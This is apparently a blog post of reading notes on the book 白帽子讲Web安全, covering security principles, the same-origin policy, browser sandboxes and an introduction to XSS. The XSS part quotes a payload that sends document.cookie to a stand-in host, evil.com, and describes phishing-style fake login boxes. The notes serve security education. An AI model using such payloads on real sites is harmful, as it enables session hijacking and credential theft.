道哥写的白帽子讲WEB安全的读书笔记

文章目录

    • 2020.3.23
  • ◆ 前言
  • ◆ 第一篇 世界观安全
    • 1.1 Web安全简史
    • >> 1.1.1 中国黑客简史
    • >> 1.1.2 黑客技术的发展历程
    • >> 1.1.3 Web安全的兴起
    • >> 1.2 黑帽子,白帽子
    • >> 1.3 返璞归真,揭秘安全的本质
    • 2020. 3.24
    • >> 1.4 破除迷信,没有银弹
    • >> 1.5 安全三要素
    • >> 1.6 如何实施安全评估
    • >> 1.6.1 资产等级划分
    • >> 1.6.2 威胁分析
    • 2020.3.25
    • >> 1.6.3 风险分析
    • >> 1.6.4 设计安全方案
    • >> 1.7 白帽子兵法
    • >> 1.7.1 Secure By DefauIt原则
    • >> 1.7.1.1 黑名单、白名单
    • >2020.3.26
    • >> 1.7.1.2 最小权限原则
    • >> 1.7.2 纵深防御原则
    • >> 1.7.3 数据与代码分离原则
    • >> 1.7.4 不可预测性原则
    • >> 1.8 小结
    • >> (附)谁来为漏洞买单?
    • 2020.3.29
  • ◆ 第二篇 客户端脚本安全
    • >> 2.1 同源策略同源策略(Same Origin Policy)
    • 2020.4.4
    • >>2.2 浏览器沙箱
    • 2020.4.6
    • >> 2.4 高速发展的浏览器安全
    • >> 2.5 小结
  • ◆ 第3章 跨站脚本攻击(XSS)
    • 3.1 XSS简介
    • 3.2 XSS攻击进阶
    • 3.2.1 初探XSS PayIoad
    • 2020.4.8
    • >> 3.2.2 强大的XSS PayIoad
    • >> 3.2.2.1 构造GET与POST请求
    • >> 3.2.2.3 识别用户浏览器
    • >> 3.2.2.4 识别用户安装的软件

2020.3.23

◆ 前言

Web是互联网的核心,是未来云计算和移动互联网的最佳载体,因此Web安全也是互联网公司安全业务中最重要的组成部分。

◆ 第一篇 世界观安全

互联网本来是安全的,自从有了研究安全的人之后,互联网就变得不安全了。

1.1 Web安全简史

>> 1.1.1 中国黑客简史

>> 1.1.2 黑客技术的发展历程

通过ACL可以控制只允许信任来源的访问

>> 1.1.3 Web安全的兴起

Web攻击的思路也从服务器端转向了客户端,转向了浏览器和用户。

比如Python、Ruby、NodeJS等,敏捷开发成为互联网的主旋律。

>> 1.2 黑帽子,白帽子

对于黑帽子来说,只要能够找到系统的一个弱点,就可以达到入侵系统的目的;而对于白帽子来说,必须找到系统的所有弱点,不能有遗漏,才能保证系统不会出现问题

黑帽子为了完成一次入侵,需要利用各种不同漏洞的组合来达到目的,是在不断地组合问题;而白帽子在设计解决方案时,如果只看到各种问题组合后产生的效果,就会把事情变复杂,难以细致入微地解决根本问题,所以白帽子必然是在不断地分解问题,再对分解后的问题逐个予以解决。

比如设计一个解决方案,在特定环境下能够抵御所有已知的和未知的SQL Injection问题。假设这个方案的实施周期是3个月,那么执行3个月后,所有的SQL Injection问题都得到了解决,也就意味着黑客再也无法利用SQL Injection这一可能存在的弱点入侵网站了。如果做到了这一点,那么白帽子们就在SQL Injection的局部对抗中化被动为主动了。

No Patch For Stupid!

最大的漏洞就是人

新技术不在一开始就考虑安全设计的话,防御技术就必然会落后于攻击技术,导致历史不断地重复。

>> 1.3 返璞归真,揭秘安全的本质

通过一个安全检查(过滤、净化)的过程,可以梳理未知的人或物,使其变得可信任。

安全问题的本质是信任的问题。

在现实生活中,我们很少设想最极端的前提条件,因为极端的条件往往意味者小概率以及高成本,因此在成本有限的情况下,我们往往会根据成本来设计安全方案,并将一些可能性较大的条件作为决策的主要依据。

。因此,把握住信任条件的度,使其恰到好处,正是设计安全方案的难点所在,也是安全这门学问的艺术魅力所在。

2020. 3.24

>> 1.4 破除迷信,没有银弹

Pwn2own竞赛是每年举行的让黑客们任意攻击操作系统的一次盛会

>> 1.5 安全三要素

简称CIA安全三要素是安全的基本组成元素,分别是机密性(Confidentiality)、完整性(Integrity)、可用性(Availability)。

完整性则要求保护数据内容是完整、没有被篡改的。常见的保证一致性的技术手段是数字签名。

了,停车场无法再提供正常服务。在安全领域中这种攻击叫做拒绝服务攻击,简称DoS(Denial of Service)。拒绝服务攻击破坏的是安全的可用性。

>> 1.6 如何实施安全评估

资产等级划分、威胁分析、风险分析、确认解决方案

如果面对的是一个尚未评估的系统,那么应该从第一个阶段开始实施;如果是由专职的安全团队长期维护的系统,那么有些阶段可以只实施一次。在这几个阶段中,上一个阶段将决定下一个阶段的目标,需要实施到什么程度。

>> 1.6.1 资产等级划分

资产等级划分是所有工作的基础,这项工作能够帮助我们明确目标是什么,要保护什么。

资源的可用性也可以理解为数据的可用性

在互联网的基础设施已经比较完善的今天,互联网的核心其实是由用户数据驱动的——用户产生业务,业务产生数据。互联网公司除了拥有一些固定资产,如服务器等死物外,最核心的价值就是其拥有的用户数据,所以——互联网安全的核心问题,是数据安全的问题。

接下来就是要划分信任域和信任边界了。通常我们用一种最简单的划分方式,就是从网络逻辑上来划分

>> 1.6.2 威胁分析

在安全领域里,我们把可能造成危害的来源称为威胁(Threat),而把可能会出现的损失称为风险(Risk)

比如使用一个模型,帮助我们去想,在哪些方面有可能会存在威胁,这个过程能够避免遗漏,这就是威胁建模。

STRIDE模型。STRIDE是6个单词的首字母缩写,我们在分析威胁时,可以从以下6个方面去考虑

头脑风暴的过程可以确定攻击面(Attack Surface)

一个威胁到底能够造成多大的危害,如何去衡量它?这就要考虑到风险了。

我们判断风险高低的过程,就是风险分析的过程

2020.3.25

>> 1.6.3 风险分析

风险由以下因素组成: Risk = Probability * Damage Potential

影响风险高低的因素,除了造成损失的大小外,还需要考虑到发生的可能性

如何更科学地衡量风险呢?这里再介绍一个DREAD模型,它也是由微软提出的。DREAD也是几个单词的首字母缩写,它指导我们应该从哪些方面去判断一个威胁的风险程度。

之所以会被这个模型判断为中危的原因,就在于一旦被突破,造成的损失太大,失败不起

所以会相应地提高该风险值。

在任何时候都应该记住——模型是死的,人是活的,再好的模型也是需要人来使用的,在确定攻击面,以及判断风险高低时,都需要有一定的经验,这也是安全工程师的价值所在。

>> 1.6.4 设计安全方案

安全评估的产出物,就是安全解决方案。解决方案一定要有针对性,这种针对性是由资产等级划分、威胁分析、风险分析等阶段的结果给出的。

从产品的角度来说,安全也应该是产品的一种属性。一个从未考虑过安全的产品,至少是不完整的。

对于互联网来说,安全是要为产品的发展与成长保驾护航的。我们不能使用“粗暴”的安全方案去阻碍产品的正常发展,所以应该形成这样一种观点:没有不安全的业务,只有不安全的实现方式。产品需求,尤其是商业需求,是用户真正想要的东西,是业务的意义所在,在设计安全方案时应该尽可能地不要改变商业需求的初衷。

作为安全工程师,要想的就是如何通过简单而有效的方案,解决遇到的安全问题。安全方案必须能够有效抵抗威胁,但同时不能过多干涉正常的业务流程,在性能上也不能拖后腿

好的安全方案对用户应该是透明的,尽可能地不要改变用户的使用习惯

一个优秀的安全方案应该具备以下特点:
❍ 能够有效解决问题;❍ 用户体验好;❍ 高性能;❍ 低耦合;❍ 易于扩展与升级。

>> 1.7 白帽子兵法

>> 1.7.1 Secure By DefauIt原则

“Secure by Default”原则,也可以归纳为白名单、黑名单的思想。

如果更多地使用白名单,那么系统就会变得更安全。

>> 1.7.1.1 黑名单、白名单

在Web安全中,对白名单思想的运用也比比皆是。

比如应用处理用户提交的富文本时,考虑到XSS的问题,需要做安全检查。常见的XSS Filter一般是先对用户输入的HTML原文作HTML Parse,解析成标签对象后,再针对标签匹配XSS的规则。

选择白名单的思想,基于白名单来设计安全方案,其实就是信任白名单是好的,是安全的。但是一旦这个信任基础不存在了,那么安全就荡然无存。

所以在选择使用白名单时,需要注意避免出现类似通配符“*”的问题。

Secure By Default的另一层含义就是“最小权限原则”。最小权限原则也是安全设计的基本原则之一。最小权限原则要求系统只授予主体必要的权限,而不要过度授权,这样能有效地减少系统、网络、应用、数据库出错的机会。

比如在Linux系统中,一种良好的操作习惯是使用普通账户登录,在执行需要root权限的操作时,再通过sudo命令完成

>2020.3.26

>> 1.7.1.2 最小权限原则

Secure By Default的另一层含义就是“最小权限原则”。最小权限原则也是安全设计的基本原则之一。最小权限原则要求系统只授予主体必要的权限,而不要过度授权,这样能有效地减少系统、网络、应用、数据库出错的机会。

比如在Linux系统中,一种良好的操作习惯是使用普通账户登录,在执行需要root权限的操作时,再通过sudo命令完成

。在使用最小权限原则时,需要认真梳理业务所需要的权限,在很多时候,开发者并不会意识到业务授予用户的权限过高。

>> 1.7.2 纵深防御原则

纵深防御包含两层含义:首先,要在各个不同层面、不同方面实施安全方案,避免出现疏漏,不同安全方案之间需要相互配合,构成一个整体;其次,要在正确的地方做正确的事情,即:在解决根本问题的地方实施针对性的安全方案。

在常见的入侵案例中,大多数是利用Web应用的漏洞,攻击者先获得一个低权限的webshell,然后通过低权限的webshell上传更多的文件,并尝试执行更高权限的系统命令,尝试在服务器上提升权限为root;接下来攻击者再进一步尝试渗透内网,比如数据库服务器所在的网段。

就入侵的防御来说,我们需要考虑的可能有Web应用安全、OS系统安全、数据库安全、网络环境安全等。在这些不同层面设计的安全方案,将共同组成整个防御体系,这也就是纵深防御的思想。

纵深防御的第二层含义,是要在正确的地方做正确的事情。如何理解呢?它要求我们深入理解威胁的本质,从而做出正确的应对措施

XSS真正产生危害的场景是在用户的浏览器上,或者说服务器端输出的HTML页面,被注入了恶意代码。只有在拼装HTML时输出,系统才能获得HTML上下文的语义,才能判断出是否存在误杀等情况。

>> 1.7.3 数据与代码分离原则

另一个重要的安全原则是数据与代码分离原则。这一原则广泛适用于各种由于“注入”而引发安全问题的场景。

缓冲区溢出,也可以认为是程序违背了这一原则的后果——程序在栈或者堆中,将用户数据当做代码执行,混淆了代码与数据的边界

此类问题均可以根据“数据与代码分离原则”设计出真正安全的解决方案,因为这个原则抓住了漏洞形成的本质原因。

如果把用户数据片段 $var当成代码片段来解释、执行,就会引发安全问题。

>>HTML语言中,网页中插入图片所用标签<img>, <img>的src属性用来指定图片位置。
>><img src=“ming.bmp”>便是插入名为ming.bmp的图象. 此时SRC是source的简写,
>意思是“源”即image的源文件为ming.bmp;
>网页中插入脚本所用标签<script>,<script>的src属性用来指定脚本文件的位置。
><script src="1.js"></script>,意思如上;
>src

在这里应该对用户数据片段 $var进行安全处理,可以使用过滤、编码等手段,把可能造成代码混淆的用户数据清理掉

alert在英语中的意思是警告,javascript中,alert()是弹出警告框的意思。
alert

>> 1.7.4 不可预测性原则

前面介绍的几条原则:Secure By Default,是时刻要牢记的总则;纵深防御,是要更全面、更正确地看待问题;数据与代码分离,是从漏洞成因上看问题;接下来要讲的“不可预测性”原则,则是从克服攻击方法的角度看问题。

使用DEP来保证堆栈不可执行,使用ASLR让进程的栈基址随机变化,从而使攻击程序无法准确地猜测到内存地址,大大提高了攻击的门槛。

即使无法修复code,但是如果能够使得攻击的方法无效,那么也可以算是成功的防御。

不可预测性(Unpredictable),能有效地对抗基于篡改、伪造的攻击。

不可预测性原则,可以巧妙地用在一些敏感数据上。

比如在CSRF的防御技术中,通常会使用一个token来进行有效防御。这个token能成功防御CSRF,就是因为攻击者在实施CSRF攻击的过程中,是无法提前预知这个token值的,因此要求token足够复杂时,不能被攻击者猜测到

不可预测性的实现往往需要用到加密算法、随机数算法、哈希算法,好好使用这条原则

>> 1.8 小结

安全是一门朴素的学问,也是一种平衡的艺术。无论是传统安全,还是互联网安全,其内在的原理都是一样的。我们只需抓住安全问题的本质,之后无论遇到任何安全问题(不仅仅局限于Web安全或互联网安全),都会无往而不利,因为我们已经真正地懂得了如何用安全的眼光来看待这个世界!

>> (附)谁来为漏洞买单?

因为破坏有程度轻重之分,当破坏程度超过某一临界值时,多数人(注意不是所有人)会接受这是一个漏洞的事实。

loginID一旦泄露后,可能会导致被暴力破解;甚至有的用户将loginID当成密码的一部分,会被黑客猜中用户的密码或者是黑客通过攻击一些第三方站点(比如SNS)后,找到同样的loginID来尝试登录。

一个业务安全设计得好的网站,往往loginID和nickname(昵称)是分开的。登录ID是用户的私有信息,只有用户本人能够看到;而nickname不能用于登录,但可以公开给所有人看。这种设计的细节,是网站积极防御的一种表现。

在我看来,漏洞只是对破坏性功能的一个统称而已。

在当时的历史背景下,很多问题都不是“漏洞”,只是功能。

2020.3.28
好多没看懂,先停更一下哈,我真的没有犯懒

2020.3.29

◆ 第二篇 客户端脚本安全

>> 2.1 同源策略同源策略(Same Origin Policy)

是一种约定,它是浏览器最核心也最基本的安全功能,如果缺少了同源策略,则浏览器的正常功能可能都会受到影响。可以说Web是构建在同源策略的基础之上的,浏览器只是针对同源策略的一种实现。

很多时候浏览器实现的同源策略是隐性、透明的,很多因为同源策略导致的问题并没有明显的出错提示

浏览器的同源策略,限制了来自不同源的“document”或脚本,对当前“document”读取或设置某些属性。

浏览器中JavaScript的同源策略(当JavaScript被浏览器认为来自不同源时,请求被拒绝)

影响“源”的因素有:host(域名或IP地址,如果是IP地址则看做一个根域名)、子域名、端口、协议。

页面内存放JavaScript文件的域并不重要,重要的是加载JavaScript页面所在的域是什么。

在浏览器中,<script>、<img>、<iframe>、<link>等标签都可以跨域加载资源,而不受同源策略的限制。这些带“src”属性的标签每次加载时,实际上是由浏览器发起了一次GET请求。不同于XMLHttpRequest的是,通过src属性加载的资源,浏览器限制了JavaScript的权限,使其不能读、写返回的内容。

XMLHttpRequest受到同源策略的约束,不能跨域访问资源,在AJAX应用的开发中尤其需要注意这一点。

因此W3C委员会制定了XMLHttpRequest跨域访问标准。它需要通过目标域返回的HTTP头来授权是否允许跨域访问,因为HTTP头对于JavaScript来说一般是无法控制的,所以认为这个方案可以实施。

这个跨域访问方案的安全基础就是信任“JavaScript无法控制该HTTP头”,如果此信任基础被打破,则此方案也将不再安全。

对于浏览器来说,除了DOM、Cookie、XMLHttpRequest会受到同源策略的限制外,浏览器加载的一些第三方插件也有各自的同源策略。最常见的一些插件如Flash、Java Applet、Silverlight、Google Gears等都有自己的控制策略。

在Flash 9及其之后的版本中,还实现了MIME检查以确认crossdomain.xml是否合法,比如查看服务器返回HTTP头的Content-Type是否是text/*、application/xml、application/xhtml+xml。这样做的原因,是因为攻击者可以通过上传crossdomain.xml文件控制Flash的行为,绕过同源策略

由于实现上的一些问题,一些浏览器的同源策略也曾经多次被绕过

比如 <script> 等标签仅能加载资源,但不能读、写资源的内容,而这个漏洞能够跨域读取页面内容,因此绕过了同源策略,成为一个跨域漏洞。

浏览器的同源策略是浏览器安全的基础

2020.4.4

>>2.2 浏览器沙箱

这种在网页中插入一段恶意代码,利用浏览器漏洞执行任意代码的攻击方式,在黑客圈子里被形象地称为“挂马”。

浏览器还发展出了多进程架构,从安全性上有了很大的提高

将浏览器的各个功能模块分开,各个浏览器实例分开,当一个进程崩溃时,也不会影响到其他的进程。

Google Chrome是第一个采取多进程架构的浏览器。Google Chrome的主要进程分为:浏览器进程、渲染进程、插件进程、扩展进程。插件进程如flash、java、pdf等与浏览器进程严格隔离,因此不会互相影响。

渲染引擎由Sandbox隔离,网页代码要与浏览器内核进程通信、与操作系统通信都需要通过IPC channel,在其中会进行一些安全检查。

Sandbox已经成为泛指“资源隔离类模块”的代名词

设计目的一般是为了让不可信任的代码运行在一定的环境中,限制不可信任的代码访问隔离区之外的资源。

如果一定要跨越Sandbox边界产生数据交换,则只能通过指定的数据通道,比如经过封装的API来完成,在这些API中会严格检查请求的合法性。

Sandbox需要考虑用户代码针对本地文件系统、内存、数据库、网络的可能请求,可以采用默认拒绝的策略,对于有需要的请求,则可以通过封装API的方式实现。

多进程架构最明显的一个好处是,相对于单进程浏览器,在发生崩溃时,多进程浏览器只会崩溃当前的Tab页,而单进程浏览器则会崩溃整个浏览器进程。

虽然有多进程架构和Sandbox的保护,但是浏览器所加载的一些第三方插件却往往不受Sandbox管辖。

不同厂商之间会就安全达成一致的标准,也只有这样,才能将这个互联网的入口打造得更加牢固。

在很多时候,“挂马”攻击在实施时会在一个正常的网页中通过

恶意网址拦截的工作原理

浏览器周期性地从服务器端获取一份最新的恶意网址黑名单,如果用户上网时访问的网址存在于此黑名单中,浏览器就会弹出一个警告页面。

常见的恶意网址分为两类:一类是挂马网站,这些网站通常包含有恶意的脚本如JavaScript或Flash,通过利用浏览器的漏洞(包括一些插件、控件漏洞)执行shellcode,在用户电脑中植入木马;另一类是钓鱼网站,通过模仿知名网站的相似页面来欺骗用户。

识别

需要建立许多基于页面特征的模型

浏览器厂商目前只是以推送恶意网址黑名单为主

而很少直接从浏览器收集数据,或者在客户端建立模型。

由安全厂商或机构提供恶意网址黑名单。

PhishTank是互联网上免费提供恶意网址黑名单的组织之一,它的黑名单由世界各地的志愿者提供,且更新频繁。

类似地,Google也公开了其内部使用的SafeBrowsing API,任何组织或个人都可以在产品中接入,以获取Google的恶意网址库。

虽然很多用户对浏览器的此项功能并不熟悉,EVSSL证书的效果并非特别好,但随着时间的推移,有望让EVSSL证书的认证功能逐渐深入人心。

目前主流的SSL证书主要分为DV SSLOV SSLEV SSLDV SSLDV SSL证书是只验证网站域名所有权的简易型(Class 1级)SSL证书,可10分钟快速颁发,能起到加密传输的作用,但无法向用户证明网站的真实身份。目前市面上的免费证书都是这个类型的,只是提供了对数据的加密,但是对提供证书的个人和机构的身份不做验证。OV SSLOV SSL,提供加密功能,对申请者做严格的身份审核验证,提供可信身份证明。和DV SSL的区别在于,OV SSL 提供了对个人或者机构的审核,能确认对方的身份,安全性更高。所以这部分的证书申请是收费的~EV SSL超安=EV=最安全、最严格 超安EV SSL证书遵循全球统一的严格身份验证标准,是目前业界安全级别最高的顶级 (Class 4)SSL证书。金融证券、银行、第三方支付、网上商城等,重点强调网站安全、企业可信形象的网站,涉及交易支付、客户隐私信息和账号密码的传输。这部分的验证要求最高,申请费用也是最贵的。

会慢慢更,最近在看HTML CSS JS

2020.4.6

>> 2.4 高速发展的浏览器安全

当用户访问的URL中包含了XSS攻击的脚本时,IE就会修改其中的关键字符使得攻击无法成功完成,并对用户弹出提示框。

有安全研究员通过逆向工程反编译了IE 8的可执行文件,得到下面这些规则:

Firefox 4中推出了Content Security Policy(CSP)

其做法是由服务器端返回一个HTTP头,并在其中描述页面应该遵守的安全策略。

由于XSS攻击在没有第三方插件帮助的情况下,无法控制HTTP头,所以这项措施是可行的。

而这种自定义的语法必须由浏览器支持并实现,Firefox是第一个支持此标准的浏览器。

使用CSP的方法如下,插入一个HTTP返回头: X-Content-Security-Policy: policy其中policy的描述极其灵活,比如: X-Content-Security-Policy: allow ‘self’ *.mydomain.com浏览器将信任来自mydomain.com及其子域下的内容。又如: X-Content-Security-Policy: allow ‘self’; img-src *; media-src media1.com; script-src userscripts.example.com

可以加载任意域的图片、来自media1.com的媒体文件,以及userscripts.example.com的脚本,其他的则一律拒绝

CSP的设计理念无疑是出色的,但是CSP的规则配置较为复杂,在页面较多的情况下,很难一个个配置起来,且后期维护成本也非常巨大,这些原因导致CSP未能得到很好的推广。

浏览器地址栏对于畸形URL的处理就各自不同。在IE中,如下URL将被正常解析: www.google.com\abc会变为 www.google.com/abc

具有同样行为的还有Chrome

但是Firefox却不如此解析

Firefox、IE、Chrome都会认识如下的URL: www.google.com? abc

会变为

www.google.com/? abc

浏览器加载的插件也是浏览器安全需要考虑的一个问题。

,除了插件可能存在漏洞外,插件本身也可能会有恶意行为。扩展和插件的权限都高于页面JavaScript的权限,比如可以进行一些跨域网络请求等。

>> 2.5 小结

浏览器的安全以同源策略为基础,加深理解同源策略,才能把握住浏览器安全的本质。

◆ 第3章 跨站脚本攻击(XSS)

3.1 XSS简介

第3章 跨站脚本攻击(XSS)

跨站脚本攻击(XSS)是客户端脚本安全中的头号大敌。

本来缩写是CSS

,但是为了和层叠样式表

有所区别,所以在安全领域叫做“XSS”。

XSS攻击,通常指黑客通过“HTML注入”篡改了网页,插入了恶意的脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击。

是否跨域已经不再重要

现在业内达成的共识是:针对各种不同场景产生的XSS,需要区分情景对待。

用户输入的Script脚本,已经被写入页面中,而这显然是开发者所不希望看到的。

XSS根据效果的不同可以分成如下几类。

第一种类型:反射型XSS

只是简单地把用户输入的数据“反射”给浏览器

也就是说,黑客往往需要诱使用户“点击”一个恶意链接,才能攻击成功。反射型XSS也叫做“非持久型XSS”(Non-persistent XSS)。

第二种类型:存储型XSS

存储型XSS会把用户输入的数据“存储”在服务器端。这种XSS具有很强的稳定性。

黑客把恶意的脚本保存到服务器端,

第三种类型:DOM Based XSS

DOM Based XSS从效果上来说也是反射型XSS

通过修改页面的DOM节点形成的XSS,称之为DOM Based XSS。

write”按钮的onclick事件调用了test()函数。而在test()函数中,修改了页面的DOM节点

通过innerHTML把一段用户数据当做HTML写入到页面中

首先用一个单引号闭合掉href的第一个单引号,然后插入一个onclick事件,最后再用注释符“//”注释掉第二个单引号。

实际上,这里还有另外一种利用方式——除了构造一个新事件外,还可以选择闭合掉标签,并插入一个新的HTML标签。尝试如下输

3.2 XSS攻击进阶

3.2.1 初探XSS PayIoad

XSS攻击成功后,攻击者能够对用户当前浏览的页面植入恶意脚本,通过恶意脚本,控制用户的浏览器。这些用以完成各种具体功能的恶意脚本,被称为“XSS Payload”。

XSS Payload实际上就是JavaScript脚本(还可以是Flash或其他富客户端的脚本)

Cookie如果丢失,往往意味着用户的登录凭证丢失。换句话说,攻击者可以不通过密码,而直接登录进用户的账户。

攻击者先加载一个远程脚本

真正的XSS Payload写在这个远程脚本中,避免直接在URL的参数里写入大量的JavaScript代码。

evil.js中

var img = document.createElement(“img”); img.src = "http://www.evil.com/log? "+escape(document.cookie); document.body.appendChild(img);

这段代码在页面中插入了一张看不见的图片,同时把document.cookie对象作为参数发送到远程服务器。

如何利用窃取的Cookie登录目标用户的账户呢?这和“利用自定义Cookie访问网站”的过程是一样的

这是因为在当前的Web中,Cookie一般是用户登录的凭证,浏览器发起的所有请求都会自动带上Cookie。

Cookie的“HttpOnly”标识可以防止“Cookie劫持”

2020.4.8

>> 3.2.2 强大的XSS PayIoad

“Cookie劫持”并非所有的时候都会有效。有的网站可能会在Set-Cookie时给关键Cookie植入HttpOnly标识;有的网站则可能会把Cookie与客户端IP绑定(相关内容在“XSS的防御”一节中会具体介绍),从而使得XSS窃取的Cookie失去意义。

>> 3.2.2.1 构造GET与POST请求

一个网站的应用,只需要接受HTTP协议中的GET或POST请求,即可完成所有操作。对于攻击者来说,仅通过JavaScript,就可以让浏览器发起这两种请求。

所以XSS攻击后,攻击者除了可以实施“Cookie劫持”外,还能够通过模拟GET、POST请求操作用户的浏览器。

所以,XSS Payload的思路是先获取到sid的值,然后构造完整的URL,并使用XMLHttpRequest请求此URL,应该就能得到邮件列表了。

XSS的攻击过程都是在浏览器中通过JavaScript脚本自动进行的,也就是说,缺少“与用户交互”的过程

比如在前文提到的“通过POST表单发消息”的案例中,如果在提交表单时要求用户输入验证码,那么一般的XSS Payload都会失效;此外,在大多数“修改用户密码”的功能中,在提交新密码前,都会要求用户输入“Old Password”。而这个“Old Password”,对于攻击者来说,往往是不知道的。

对于验证码,XSS Payload可以通过读取页面内容,将验证码的图片URL发送到远程服务器上来实施——攻击者可以在远程XSS后台接收当前验证码,并将验证码的值返回给当前的XSS Payload,从而绕过验证码。

利用JavaScript在当前页面上“画出”一个伪造的登录框,当用户在登录框中输入用户名与密码后,其密码将被发送至黑客的服务器上。

>> 3.2.2.3 识别用户浏览器

XSS能够帮助攻击者快速达到收集信息的目的。

最直接的莫过于通过XSS读取浏览器的UserAgent对象

但是浏览器的UserAgent是可以伪造的。

还有另外一种技巧,可以更准确地识别用户的浏览器版本。

>> 3.2.2.4 识别用户安装的软件

在IE中,可以通过判断ActiveX控件的classid是否存在,来推测用户是否安装了该软件

通过收集常见软件的classid,就可以扫描出用户电脑中安装的软件列表,甚至包括软件的版本。

一些第三方软件也可能会泄露一些信息。比如Flash有一个system.capabilities对象,能够查询客户端电脑中的硬件信息

Firefox的插件(Plugins)列表存放在一个DOM对象中,通过查询DOM可以遍历出所有的插件

直接查询“navigator.plugins”对象,就能找到所有的插件了

而Firefox的扩展(Extension)要复杂一些。有安全研究者想出了一个方法:通过检测扩展的图标,来判断某个特定的扩展是否存在

Firefox中有一个特殊的协议

chrome://

Firefox的扩展图标可以通过这个协议被访问到

白帽子讲WEB安全读书笔记(慢慢更新)相关推荐

  1. 白帽子讲web安全 ——读书笔记:术语和理论

    最近心血来潮,对安全这些略感兴趣,就买了本 白帽子讲web安全 看看 ,这里做个读书笔记吧!方便啥时候忘了再看一下. exploit--漏洞利用代码 Script kids --脚本小子,利用expl ...

  2. 白帽子讲Web安全读书笔记

    Part1:安全的发展,或者说,黑客的发展 黑客是什么? 互联网本来是安全的,自从有了研究安全的人之后,互联网就变得不安全了. "root"对黑客的吸引,就像大米对老鼠,美女对色狼 ...

  3. 白帽子讲web安全读书笔记(Ⅰ)

    一.我的安全世界观 1.1999年sql注入是web安全的里程碑,2003年MySpace发生XSS蠕虫后XSS引起关注. 2.黑帽:找到一个弱点  白帽:加固所有脆弱 (心态不同,目的不同) 3.安 ...

  4. 《白帽子讲Web安全》笔记 - 白帽子兵法

    Secure By Default 原则 "Secure by Default"原则,也可以归纳为白名单.黑名单的思想. 黑名单.白名单 尽可能使用白名单,不使用黑名单.例如:要做 ...

  5. 《白帽子讲Web安全》学习笔记

    一.为何要了解Web安全 最近加入新公司后,公司的官网突然被Google标记为了不安全的诈骗网站,一时间我们信息技术部门成为了众矢之的,虽然老官网并不是我们开发的(因为开发老官网的前辈们全都跑路了). ...

  6. 分享笔记1 之《白帽子讲web安全》

    分享笔记1 之<白帽子讲web安全> 目录 第一篇 世界观安全 第1章 我的安全世界观 2 1.1 web安全简史 2 1.1.1 中国黑客简史 2 1.1.2 黑客技术的发展历程 3 1 ...

  7. 初出牛犊的站长读《白帽子讲web安全》有感

    初出牛犊的站长读<白帽子讲web安全>有感 一.前言--一百个读者的心目中有一百个哈姆雷特 前言的作者经历,会是每个初初恋上计算机的学生碰到的事.曾记得当时候,我第一次接触病毒是在初中的科 ...

  8. 《白帽子讲Web安全》读后感 —— 对道哥的致敬

    <白帽子讲Web安全>读后感 --Deep Blue (一个安全小兵的感受) 这是一篇作业:这是一篇读后感:这是一篇记录安全的感悟:这是一篇对道哥的敬仰:这是我安全启蒙的钥匙...... ...

  9. 白帽子讲Web安全(纪念版)

    作者:吴翰清 出版社: 电子工业出版社 品牌:博文视点 出版时间:2021-05-01 白帽子讲Web安全(纪念版)

最新文章

  1. OGG logdump跳过某事物操作方法
  2. android 日历下面备注,怎样在日历的下面加备注?
  3. 数据科学竞赛-自然语言处理赛流程
  4. pytorch0.4版的CNN对minist分类
  5. 福昕熊雨前:PDFium开源项目的背后
  6. AutoMapper用法一瞥
  7. type const mysql_Mysql Explain之type详解
  8. Python二级笔记(16)
  9. 三维重建中旋转矩阵与平移矩阵思想误区(转载)
  10. 艾为数字ic面试题_秋招 应聘FPGA/数字IC笔试面试经验分享(简单列举FPGA/数字IC公司)...
  11. 那些年踩过的坑之:first-child伪类选择器
  12. 广义动量定理之质量m的应用案例分析
  13. ant design 预览图片_Ant Design Pro上传图片
  14. Java最牛教材!javaexcel合并单元格样式
  15. 什么是JavaBean?什么是Bean?
  16. 百度实习两个月小结~
  17. 2022年11月华南师范大学自考本科网络工程-本科实践题目
  18. C/C++ BeaEngine 反汇编引擎
  19. 项目管理sod_SOD健康给世界快乐体育公益项目在京启动
  20. uni-app入门学习

热门文章

  1. 华为开发者大会2021鸿蒙系统,鸿蒙2.0来了!华为开发者大会HDC 2020宣布
  2. POWERBI 使用高级编辑器更换数据源
  3. 求数组中最长递增子序列
  4. 重塑价值:新一代ITSM平台的建设、咨询与实施
  5. 电脑知识 小技巧汇总
  6. 【云原生】Docker Compose 构建 Jenkins
  7. python2和python3可以兼容吗_Python2和Python2和3兼容的方法,用于隐藏
  8. 数据结构(python) —— 【29: 贪心算法之换钱问题】
  9. Linux系统(Centos7)了解DNS服务
  10. 在群辉上搭建git服务器